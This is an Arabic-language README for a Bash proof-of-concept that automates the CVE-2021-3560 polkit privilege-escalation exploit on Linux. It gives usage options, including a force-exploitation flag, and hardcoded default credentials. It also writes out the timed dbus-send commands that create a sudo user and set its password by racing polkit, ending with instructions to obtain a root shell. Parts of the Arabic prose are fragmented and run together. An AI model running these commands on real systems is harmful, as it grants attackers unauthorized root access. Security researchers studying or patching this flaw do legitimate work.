
إثبات المفهوم التلقائي Bash لـ CVE-2021-3560 لتصعيد الامتيازات في polkit. يستغل هجوم توقيت dbus لحقن مستخدم sudo والحصول على شل الجذر على توزيعات لينكس الضعيفة.
هذا مجرد نص برمجي Bash لإثبات المفهوم، يقوم بأتمتة خطوات الاستغلال المذكورة في مدونة Kevin Backhouse. اقرأ منشوره حول هذه الثغرة: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice و gnome-control-center ويجب أن يكون polkit الإصدار 0.113 (أو أحدث) أو 0-105-26 (فرع Debian من polkit).Ubuntu 20.04، مع إصدار polkit 0-105-26 (فرع Debian من polkit) و Centos 8 مع إصدار polkit 0.115. إذا كنت متأكدًا من أن هدفك معرض للخطر، ولكن فشل دالة التحقق من الاستغلال، استخدم العلم -f=y لتجاوز جميع الفحوصات وإجبار الاستغلال.شرح شامل وإثبات المفهوم لاستغلال هذه الثغرة يدويًا مذكور بالتفصيل في مدونة الباحث.
الملخص المختصر لهذا الاستغلال مذكور أدناه:
dbus إلى polkit، ولكن إغلاق الطلب فجأة أثناء معالجة polkit له. ثم يمكن للمهاجم إرسال طلب ثانٍ مع معرف الناقل الفريد للطلب السابق، لتنفيذ الطلب بصلاحية UID 0 المعروف بـ root.polkit لأنه يعامل UID الخاص باتصال بمعرف ناقل لم يعد موجودًا، كطلب من UID 0. وهذا يعني أنه إذا تمكنا من توقيت الهجوم بشكل صحيح وإنهاء طلبنا الأول في اللحظة المناسبة، فيمكننا تقديم الطلب الثاني بصلاحيات UID 0 المعروف بـ root.كما قلت سابقًا، هذا مجرد نص Bash يقوم بأتمتة إثبات المفهوم الخاص بـ Kevin Backhouse. الأوامر الأساسية هي نفسها؛ لقد قمت فقط بأتمتة بعض الخطوات الأولية (مثل الحصول على التوقيت الصحيح، فحص الثغرة، إدخال بيانات الاعتماد المخصصة، طباعة الألوان الجميلة، إلخ).
إذا تم تشغيل هذا النص البرمجي دون أي معاملات، فإن السلوك الافتراضي له هو كما يلي:
/etc/os-release.]accountservice و gnome-control-center. [في توزيعات rhel/centos/fedora، يستخدم rpm -qa وفي توزيعات debian/ubuntu، يستخدم dpkg -l.]rhel.centos,fedora و 0-105-26 لتوزيعات Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <username> مع كلمة المرور المقدمة للنص البرمجي، ثم إدخال sudo bash للوصول إلى شل جذر!Esc لإغلاق نافذة المصادقة و Ctrl+C لإنهاء النص البرمجي بسرعة.$t) بقسمة الوقت المطلوب لإرسال الطلب على 2. ($t=time-required-to-request/2) [محسوب باستخدام awk]$t)، يتم تكرار طلب إدراج اسم المستخدم $username secnigma في الهدف 20 مرة. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma]، يتم إنشاء تجزئة كلمة المرور [باستخدام bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!